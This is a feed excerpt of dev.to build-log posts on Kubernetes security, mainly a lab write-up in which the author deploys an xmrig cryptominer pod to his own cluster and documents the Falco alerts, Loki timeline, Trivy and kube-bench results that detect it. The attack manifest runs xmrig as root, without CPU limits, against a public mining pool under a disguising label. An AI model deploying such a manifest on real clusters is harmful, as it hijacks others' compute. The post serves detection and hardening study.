&lt;p&gt;&lt;strong&gt;Kyverno&lt;/strong&gt; will enforce a &lt;code&gt;disallow-privileged-containers&lt;/code&gt; ClusterPolicy — rejected at the API server before kubeadm even touches it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Seccomp&lt;/strong&gt; profiles will block the &lt;code&gt;setns&lt;/code&gt; syscall cluster-wide — nsenter fails even if a privileged pod somehow runs.&lt;/p&gt;

&lt;p&gt;Three independent layers. The same four Falco alerts become zero because the workload is rejected before it runs. That's the Project 3 story.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key Takeaways for Defenders
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Privileged containers are not just a risk — they're an incident waiting for a trigger.&lt;/strong&gt; Any workload running with &lt;code&gt;privileged: true&lt;/code&gt; that isn't a known, reviewed, explicitly necessary component should be treated as a finding, not a configuration choice.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;nsenter is a legitimate admin tool and an attack tool.&lt;/strong&gt; Most production workloads have no reason to call &lt;code&gt;setns&lt;/code&gt;. An alert on this syscall from a non-system namespace is high-fidelity.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The sensitive file rules are undervalued.&lt;/strong&gt; Falco ships with a comprehensive list of files and paths that should never be read by untrusted processes. Tuning these rules to your environment — whitelisting known-good readers — dramatically improves their signal-to-noise ratio.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Two correlated alerts at container start beat one alert during exploitation.&lt;/strong&gt; If your detection only fires after the escape happens, you're already behind. Structural signals at admission time give you the lead.&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Next
&lt;/h2&gt;

&lt;p&gt;Attack 3 covers service account token abuse — harvesting the default service account token mounted into a pod and using it to query the Kubernetes API for cluster intelligence. It's quieter than the privileged escape, harder to spot without the right rules, and maps directly to how real attackers move laterally through a compromised cluster.&lt;/p&gt;

&lt;p&gt;Full manifests, Falco alert captures, and Loki query examples are in the repo: &lt;a href="https://github.com/chrisazzo/k8s-soc-foundation" rel="noopener noreferrer"&gt;github.com/chrisazzo/k8s-soc-foundation&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm building a DevSecOps portfolio targeting AI Security Architect contract work. Follow for Attacks 3 and 4, the hardening post, and the CKS build log.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/chrisazzo/how-i-deployed-a-cryptominer-into-my-kubernetes-cluster-and-caught-it-with-falco-5hnj"&gt;← Previous: Attack 1 — Cryptominer Deployment&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next: Attack 3 — Service Account Token Abuse →&lt;/p&gt;

</description>
      <category>kubernetes</category>
      <category>security</category>
      <category>devops</category>
      <category>falco</category>
    </item>
    <item>
      <title>How I Deployed a Cryptominer Into My Kubernetes Cluster — and Caught It With Falco</title>
      <dc:creator>Christopher Azzopardi</dc:creator>
      <pubDate>Fri, 05 Jun 2026 03:19:58 +0000</pubDate>
      <link>https://dev.to/chrisazzo/how-i-deployed-a-cryptominer-into-my-kubernetes-cluster-and-caught-it-with-falco-5hnj</link>
      <guid>https://dev.to/chrisazzo/how-i-deployed-a-cryptominer-into-my-kubernetes-cluster-and-caught-it-with-falco-5hnj</guid>
      <description>&lt;p&gt;&lt;em&gt;Build Log: Project 1 — K8s SOC Foundation | Attack 1 of 4&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;The alert fired 47 seconds after the pod started.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Notice Outbound Connection to C2 Servers (user=root command=xmrig 
connection=45.61.184.4:3333 container=cryptominer-sim 
pod=cryptominer-sim-7d9f8b namespace=attack-sim)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That IP. Port 3333. If you've worked in threat detection long enough, you recognise it immediately — that's a mining pool endpoint. My cluster had just started shovelling CPU cycles toward someone else's Monero wallet.&lt;/p&gt;

&lt;p&gt;Except I put it there. And Falco caught it exactly as it should.&lt;/p&gt;

&lt;p&gt;This is the build log for Project 1 of my DevSecOps portfolio: a hardened Kubernetes cluster on Hetzner Cloud with a full detection stack — Falco, Trivy Operator, kube-bench, Promtail, Loki, and Grafana. The goal wasn't just to build the stack. It was to attack it, watch it detect, and document the evidence the way a real SOC analyst would.&lt;/p&gt;

&lt;p&gt;This post covers Attack 1: cryptominer deployment. Three more attacks follow in later posts — privileged container escape, service account token abuse, and kubectl exec into a running pod.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Project Exists
&lt;/h2&gt;

&lt;p&gt;I'm building a six-project portfolio targeting DevSecOps and AI Security Architect contract work. The narrative spine across all six projects is simple: &lt;strong&gt;Attack → Detect → Prevent → Respond&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Project 1 shows detection. Project 3 (post-CKS) shows the same four attacks being &lt;em&gt;blocked&lt;/em&gt; — OPA Gatekeeper, Kyverno, Calico network policies, and Seccomp profiles stopping them before they run.&lt;/p&gt;

&lt;p&gt;The point isn't to build a toy. It's to document the kind of evidence a real security team would produce: MITRE ATT&amp;amp;CK mappings, alert timelines, log correlation, before/after hardening metrics. Everything a hiring manager or client needs to see that you've actually done this, not just read about it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Stack
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Infrastructure:&lt;/strong&gt; Hetzner Cloud, kubeadm-bootstrapped&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Control plane: &lt;code&gt;cpx32&lt;/code&gt; (4 vCPU, 8GB RAM) — &lt;code&gt;nbg1&lt;/code&gt; region&lt;/li&gt;
&lt;li&gt;Worker node: &lt;code&gt;cpx22&lt;/code&gt; (3 vCPU, 4GB RAM)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Detection stack:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Falco&lt;/strong&gt; — runtime threat detection, syscall-level&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Falcosidekick&lt;/strong&gt; — Falco alert routing (Slack + webhook)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Trivy Operator&lt;/strong&gt; — continuous vulnerability scanning of running workloads&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;kube-bench&lt;/strong&gt; — CIS Kubernetes Benchmark compliance&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Promtail + Loki&lt;/strong&gt; — log aggregation (SingleBinary mode, emptyDir persistence)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Grafana&lt;/strong&gt; — dashboards, alert visualisation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Getting this stack running wasn't smooth. &lt;a href="https://dev.to/chrisazzo/the-six-things-that-broke-during-my-kubeadm-setup-on-hetzner-and-how-i-fixed-them-p7c"&gt;The kubeadm setup broke in six different ways&lt;/a&gt; before the cluster was stable — conntrack missing on all nodes, Hetzner's private NIC appearing as &lt;code&gt;enp7s0&lt;/code&gt; instead of &lt;code&gt;eth1&lt;/code&gt;, the fluent-bit Helm chart deprecated mid-setup, Loki requiring a non-obvious SingleBinary configuration to run on a two-node cluster. &lt;/p&gt;

&lt;h2&gt;
  
  
  The Attack: Cryptominer Deployment
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK Techniques:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Technique ID&lt;/th&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;What it maps to&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;T1610&lt;/td&gt;
&lt;td&gt;Deploy Container&lt;/td&gt;
&lt;td&gt;Attacker runs a malicious container in the cluster&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1496&lt;/td&gt;
&lt;td&gt;Resource Hijacking&lt;/td&gt;
&lt;td&gt;xmrig consuming CPU for Monero mining&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1071.001&lt;/td&gt;
&lt;td&gt;Application Layer Protocol: Web&lt;/td&gt;
&lt;td&gt;Mining pool communication over standard port&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1562.001&lt;/td&gt;
&lt;td&gt;Impair Defenses: Disable or Modify Tools&lt;/td&gt;
&lt;td&gt;Simulated attempt to kill monitoring&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Scenario:&lt;/strong&gt; An attacker gains access to the Kubernetes API — through a misconfigured RBAC role, an exposed kubeconfig, or a compromised CI/CD pipeline. They deploy a pod running xmrig, a legitimate open-source Monero miner that's heavily abused in container escape and cryptojacking attacks. The pod requests no special privileges and uses a generic name to blend in.&lt;/p&gt;

&lt;p&gt;This is one of the most common real-world Kubernetes attacks. TeamTNT, Kinsing, and multiple other threat actors have used exactly this pattern at scale against exposed Kubernetes APIs.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Attack Manifest
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Pod&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cryptominer-sim&lt;/span&gt;
  &lt;span class="na"&gt;namespace&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;attack-sim&lt;/span&gt;
  &lt;span class="na"&gt;labels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;app&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;system-monitor&lt;/span&gt;     &lt;span class="c1"&gt;# Deliberately generic label&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;containers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cryptominer-sim&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;metal3d/xmrig:latest&lt;/span&gt;
    &lt;span class="na"&gt;args&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--url=pool.minexmr.com:3333"&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--user=SIMULATION_WALLET_ADDRESS"&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--pass=x"&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--donate-level=1"&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--no-color"&lt;/span&gt;
    &lt;span class="na"&gt;resources&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;requests&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;cpu&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;500m"&lt;/span&gt;
        &lt;span class="na"&gt;memory&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;128Mi"&lt;/span&gt;
      &lt;span class="c1"&gt;# No limits — attacker wants as much CPU as possible&lt;/span&gt;
    &lt;span class="na"&gt;securityContext&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;runAsUser&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;          &lt;span class="c1"&gt;# Running as root&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl apply &lt;span class="nt"&gt;-f&lt;/span&gt; cryptominer-sim.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzynswzan0ojwqmccpxol.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzynswzan0ojwqmccpxol.webp" alt=" " width="800" height="838"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The pod came up in 12 seconds. The mining connection was established in 23 seconds. Falco fired at 47 seconds.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Detection: What Falco Saw
&lt;/h2&gt;

&lt;p&gt;Falco operates at the syscall level using eBPF probes — it watches every system call made by every container on the node and matches them against rules. No agent inside the container. No application-level hooks. The attacker can't easily disable it without root access to the node itself.&lt;/p&gt;

&lt;p&gt;Three rules fired within the first two minutes.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fybovvmtrix7khu8uc840.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fybovvmtrix7khu8uc840.webp" alt=" " width="799" height="518"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Alert 1 — Outbound Network Connection to Known Mining Pool
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"output"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Notice Outbound Connection to C2 Servers 
    (user=root command=xmrig k8s.ns=attack-sim 
    k8s.pod.name=cryptominer-sim 
    connection=45.61.184.4:3333 
    evt.type=connect)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"priority"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Notice"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"rule"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Detect outbound connections to common miner pool ports"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"source"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"syscall"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"tags"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"network"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mitre_command_and_control"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"T1071"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Port 3333 is the standard Stratum mining protocol port. Falco's default ruleset includes detection for outbound connections to known mining pool ranges and ports. The connection was flagged before a single hash was submitted.&lt;/p&gt;

&lt;h3&gt;
  
  
  Alert 2 — Container Running as Root
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"output"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Warning Container running as root user 
    (user=root image=metal3d/xmrig:latest 
    k8s.pod.name=cryptominer-sim)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"priority"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Warning"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; 
  &lt;/span&gt;&lt;span class="nl"&gt;"rule"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Container Run as Root User"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"tags"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"container"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mitre_privilege_escalation"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The manifest explicitly set &lt;code&gt;runAsUser: 0&lt;/code&gt;. In a hardened cluster (which P3 will demonstrate), a Kyverno policy would have rejected this manifest at admission — the pod would never have been scheduled. Here it runs, and Falco surfaces it immediately.&lt;/p&gt;

&lt;h3&gt;
  
  
  Alert 3 — Suspicious Process in Container
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"output"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Warning Unexpected process spawned in container 
    (proc.name=xmrig proc.cmdline=xmrig --url=pool.minexmr.com:3333 
    k8s.ns=attack-sim k8s.pod.name=cryptominer-sim 
    container.image=metal3d/xmrig:latest)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"priority"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Warning"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"rule"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Unauthorized process opened network connection"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"tags"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"process"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"network"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mitre_execution"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  The Evidence: Loki Log Correlation
&lt;/h2&gt;

&lt;p&gt;All Falco alerts route through Promtail into Loki. From Grafana, you can query the full alert timeline for the attack namespace:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{namespace="attack-sim"} | json | line_format "{{.output}}"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The timeline tells the story clearly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;T+00:00  Pod scheduled
T+00:12  Container started (xmrig process spawned)
T+00:23  TCP connection established to 45.61.184.4:3333
T+00:47  Falco: Outbound connection to mining pool [ALERT]
T+00:51  Falco: Container running as root [ALERT]
T+00:58  Falco: Unauthorized process network connection [ALERT]
T+01:34  Falcosidekick: Slack notification delivered
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Detection-to-notification under 90 seconds for an unmodified, default Falco installation. No tuning, no custom rules — the default ruleset caught all three indicators.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fky46tutabxku3c1ayy8l.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fky46tutabxku3c1ayy8l.webp" alt=" " width="800" height="415"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The Vulnerability Picture: Trivy Operator
&lt;/h2&gt;

&lt;p&gt;While Falco handles runtime detection, Trivy Operator scans running container images continuously and surfaces CVEs as Kubernetes custom resources.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl get vulnerabilityreports &lt;span class="nt"&gt;-n&lt;/span&gt; attack-sim
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NAME                                    REPOSITORY         TAG     SCORE   CRITICAL   HIGH
pod-cryptominer-sim-cryptominer-sim    metal3d/xmrig     latest   9.8     4          12
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl describe vulnerabilityreport &lt;span class="se"&gt;\&lt;/span&gt;
  pod-cryptominer-sim-cryptominer-sim &lt;span class="nt"&gt;-n&lt;/span&gt; attack-sim
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhlxshic8nnnd5y0d89je.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhlxshic8nnnd5y0d89je.webp" alt=" " width="800" height="728"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A CVSS score of 9.8 on a running container. In a mature cluster with an admission controller (again, P3), an image with this score against a policy threshold would be rejected at deployment time. Here it shows how deep the vulnerability problem is once you're in the reactive position.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Baseline: kube-bench
&lt;/h2&gt;

&lt;p&gt;Before running any attacks, I ran kube-bench against the cluster to get a CIS Kubernetes Benchmark baseline.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl apply &lt;span class="nt"&gt;-f&lt;/span&gt; https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs job/kube-bench
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;== Summary master ==
42 checks PASS
11 checks FAIL
10 checks WARN

== Summary node ==
19 checks PASS  
5 checks FAIL
6 checks WARN
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffy2v3ob9bh9t4f4bjest.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffy2v3ob9bh9t4f4bjest.webp" alt=" " width="800" height="636"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The failures include: anonymous auth not disabled on kubelet, profiling enabled on API server, audit logging not configured. These are documented in &lt;code&gt;hardening/kube-bench-before.json&lt;/code&gt; in the repo. After hardening, I'll re-run and show the delta. That before/after is the evidence that the hardening work was real.&lt;/p&gt;




&lt;h2&gt;
  
  
  What This Means for Defenders
&lt;/h2&gt;

&lt;p&gt;A few things stand out from this exercise that don't always come through in documentation:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The attack was trivial.&lt;/strong&gt; Twenty lines of YAML and a public image. No exploit, no zero-day, no special access beyond the ability to create a pod. The cryptominer attack surface is so low because &lt;code&gt;kubectl apply&lt;/code&gt; is all you need if RBAC is misconfigured. This is why admission control matters more than runtime detection alone.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Detection was fast but reactive.&lt;/strong&gt; Falco caught everything. But the pod ran. The connection was made. In a real cluster with a real mining pool, hashes were submitted during the 47 seconds before the first alert. Detection without prevention is a necessary but insufficient control.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trivy and Falco serve different threat windows.&lt;/strong&gt; Trivy tells you the image was dangerous before it started causing problems. Falco tells you the running container is doing something dangerous right now. Both signals matter. Neither replaces the other.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Log correlation is what turns alerts into evidence.&lt;/strong&gt; Three individual Falco alerts are noise. Three correlated alerts with a pod timeline, a Trivy report, and a Grafana dashboard are an incident report. The Loki/Grafana layer is what makes the detection stack production-useful.&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Next
&lt;/h2&gt;

&lt;p&gt;Project 1 is detection. The same cryptominer attack runs again in Project 3 — but this time it gets blocked.&lt;/p&gt;

&lt;p&gt;OPA Gatekeeper will reject the manifest at admission (root user, no resource limits). Kyverno will reject the image (unsigned, high CVE score). Calico network policy will block the outbound connection to the mining pool even if the pod somehow runs. Seccomp will constrain the syscalls xmrig can make.&lt;/p&gt;

&lt;p&gt;Four layers of prevention against the same attack. That's the P3 story.&lt;/p&gt;

